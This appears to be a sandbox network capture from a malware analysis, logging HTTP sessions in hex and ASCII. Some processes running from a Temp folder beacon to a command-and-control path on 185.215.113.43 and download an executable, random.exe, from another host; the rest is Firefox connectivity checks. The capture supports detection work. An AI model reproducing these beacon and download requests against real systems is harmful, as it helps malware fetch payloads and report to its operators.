Nov 1, 2024 03:47:05.094352007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:05.094362974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:05.094374895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:05.094465971 CET	1236	IN	Data Raw: ee 20 58 55 b6 05 5b 98 01 f4 5a 10 31 ae bc 66 ed c9 b6 76 2c eb 86 b6 fd 3e 67 97 47 cb 17 b9 29 bc ed eb 43 ad d6 37 f9 75 9c 68 50 17 2b 96 1c 3f 7b 66 d8 3a 24 a2 0e ed 5f ac 1e 27 e0 85 10 22 4b 56 b6 39 4f 4e 2a 4e 78 a8 3c 44 5e 05 c8 9d Data Ascii: XU[Z1fv,>gG)C7uhP+?{f:$_'"KV9ONNx<D^NiJ #&mfI_F<.!& KQVJ<N\9@-LR\|+C7$mAo~JJ@-=6)g/A&oa0" TDew-_8zQNBQDZ7*MZ?=Q!"aR
Nov 1, 2024 03:47:05.094477892 CET	1236	IN	Data Raw: 9a 21 41 48 72 21 7d 74 ed 94 f9 69 37 5c 47 e7 cf 54 4b 6c be eb 66 77 fc b9 9d 58 12 fc 4e 55 cc 54 8d 76 ee 1c 89 4b e5 2b cf d1 15 21 81 56 cc 00 41 20 be f8 b2 9a 20 c5 ab 2c ca 5c a5 88 bc 5d ed 0d 37 a0 54 de 15 bc 75 55 8c 4d cd 01 84 64 Data Ascii: !AHr!}ti7\GTKlfwXNUTvK+!VA ,\]7TuUMd5[IDL!Fwhs7X?8PXTvWTYm6=s5gdH-XCDl [TXsX}<eSwU4!F(_-X7Tz8'jL;\uZHL
Nov 1, 2024 03:47:05.094487906 CET	1236	IN	Data Raw: d5 42 48 5f b8 e4 42 bb d1 19 11 56 19 98 56 19 03 2b 43 20 c2 31 9d bf 09 36 96 37 23 84 ac aa 2b 59 97 25 00 a5 63 89 9f 37 2c bb 6c 4a 8c cf df 3c ad 46 32 1b d0 35 1c 2c a7 35 2f 0b b1 03 84 31 b5 67 1e 37 bd 5d 05 72 ed 56 8a d1 68 04 41 86 Data Ascii: BH_BVV+C 167#+Y%c7,lJ<F25,5/1g7]rVhA=@M5!J>FnGW\ZViy7G1y>#<Z-VRT,hL2Gfq2284zdLj>#`rD^u!.;wN7C_Z5aj*TG2/c_8tLPEZ
Nov 1, 2024 03:47:05.103137016 CET	1120	IN	Data Raw: 0d f9 39 bc 67 48 26 8c 60 c4 5c 89 ab 28 63 75 30 31 57 15 30 48 81 80 3f 52 35 38 35 39 3a 65 30 38 bf 52 cf 4d f3 c4 b0 85 2a 2f d3 7b 44 e7 cc 6e a9 49 d5 1a 79 90 cc 2a 53 79 2a 0d b5 52 3a 0f bb 4b 20 0b 80 a7 4f 41 5a c5 7f 07 b6 0b 2c 84 Data Ascii: 9gH&`\(cu01W0H?R5859:e08RM/{DnIySy*R:K OAZ,=#>\mWpPxLllfhNv\Aqpsmhdm`GlewJ6FED4""g\'f#s\|4z39hnRT2XEC~OoDA!mW\|\.ku31:&@@Oy+T

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	58603	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:04.857717991 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 03:47:05.454444885 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63666 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 03:47:05.532011986 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 03:47:05.656281948 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63666 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 03:47:05.766046047 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 03:47:05.891870975 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63666 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 03:47:06.217056036 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 03:47:06.341566086 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63667 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 03:47:06.866360903 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 03:47:06.990398884 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63667 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 03:47:07.505081892 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 03:47:07.629455090 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63668 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 03:47:11.467814922 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 03:47:11.592509985 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63672 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 03:47:21.606981993 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 03:47:22.410151958 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 03:47:22.534740925 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 63683 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	58609	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:05.080231905 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 1, 2024 03:47:05.938189983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:47:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	58612	185.215.113.16	80	4600	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:05.227340937 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 03:47:06.112920046 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:47:05 GMT Content-Type: application/octet-stream Content-Length: 1913856 Last-Modified: Fri, 01 Nov 2024 02:41:17 GMT Connection: keep-alive ETag: "67243fcd-1d3400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@LT@WkD$KK @.rsrcD@.idata @ *@febftsfn 1@dcycmmutK@.taggant0K"@
Nov 1, 2024 03:47:06.112934113 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:06.112947941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:06.112958908 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:06.112968922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:06.112978935 CET	12	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:06.113009930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 03:47:06.113045931 CET	1236	IN	Data Raw: 0b f5 c7 1a 97 b1 73 38 c8 30 36 3c 4d d5 8b 2d 2e 41 af 2d 9b 37 c6 1b 50 b5 ef a7 f9 e1 cb 72 04 04 20 4a 4d 76 10 1e 4f 48 c5 87 ca 25 36 0f 4d 51 da 32 0f 05 36 7b 5d d2 11 27 9d c3 70 4d 8c 39 d4 bb 5d 55 c6 47 73 c9 47 4e 60 01 34 3d cf e1 Data Ascii: s806<M-.A-7Pr JMvOH%6MQ26{]'pM9]UGsGN`4=:"J819s$%7_x3I5OR\J6ZF7{`945O5\3 ntu~8`P+9D_*I9a:8dZsXQ^8o5w8Tvlh
Nov 1, 2024 03:47:06.113058090 CET	1236	IN	Data Raw: 91 1d 08 5d 50 d5 1d 5e 00 79 cd c1 e2 38 9f 60 52 c5 65 22 73 84 c3 2a 13 32 f9 d9 f4 20 ec 01 89 ca e3 9d ab e9 96 07 03 5d 39 17 39 6d df cd 35 16 01 cb 36 1f 2b a7 79 75 2a 5b 9a a6 81 d6 2a 2f c3 f8 d7 d8 eb 2a e9 1c b2 47 11 c7 f3 b7 d3 0d Data Ascii: ]P^y8`Re"s2 ]99m56+yu[/G{DztLZ@r65z@c}UKaR-$5NTW>ddW7i^ ~<u8Ic^OXZDF4iv 2ZF}7]9H>
Nov 1, 2024 03:47:06.113090038 CET	536	IN	Data Raw: b4 66 d3 18 c8 7d ae 38 7a 95 f5 28 cf 3a 28 1f e2 ef e1 5b d0 6b b5 4a 18 60 7c 54 f2 bc d8 13 5a 91 0e 00 48 7d cf 63 98 f1 56 3f df 75 3e 10 68 a4 80 42 0b 79 08 6b 91 94 28 61 b2 25 c7 ea 34 88 6a 29 89 7e 85 2b 54 3a 81 32 d8 c4 c1 1e b1 05 Data Ascii: f}8z(:([kJ`\|TZH}cV?u>hByk(a%4j)~+T:2/6H(w+[`0F[,$@QoXaM&s%[7.'w07ZF\|'+iT6E`7\|\7u8S!~aaQSx)#P90?$O<6{a
Nov 1, 2024 03:47:06.127629042 CET	1236	IN	Data Raw: 9a d8 5f 2e b9 93 af 22 bf c1 2d 3d ac 0c da 26 11 c5 d4 7a bc 11 20 68 2c e8 b6 e5 58 e2 df 86 74 cd 01 76 5c 7e 0c 0e ec 45 8f 42 ca 03 cc d5 a5 2d 1a 58 a4 e5 63 5d b1 32 86 97 bd 2c 20 e0 75 aa b7 e0 3c 84 a0 fd 12 05 7f e8 5b c0 3c 8e 7b 51 Data Ascii: _."-=&z h,Xtv\~EB-Xc]2, u<[<{Q=W_gBuRP4aqi{IOB7PdZ___EoVwl1gba~%Opf<;gT+?=:zC.R ++$Rh}8Z.#q8}&}59=&

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	58617	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:05.469614029 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	58620	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:05.683243990 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	58622	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:06.225188971 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	58626	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:06.385976076 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 03:47:06.980463982 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 40661 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 03:47:06.996032000 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 03:47:07.122764111 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 40662 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 03:47:07.632558107 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 03:47:07.756757975 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 40662 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 03:47:11.594717979 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 03:47:11.719275951 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 40666 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 03:47:21.728471041 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 03:47:22.538363934 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 03:47:22.662731886 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 40677 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	58628	185.215.113.43	80	6248	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:07.786590099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 03:47:08.707890987 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 02:47:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	58630	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:47:15.644910097 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
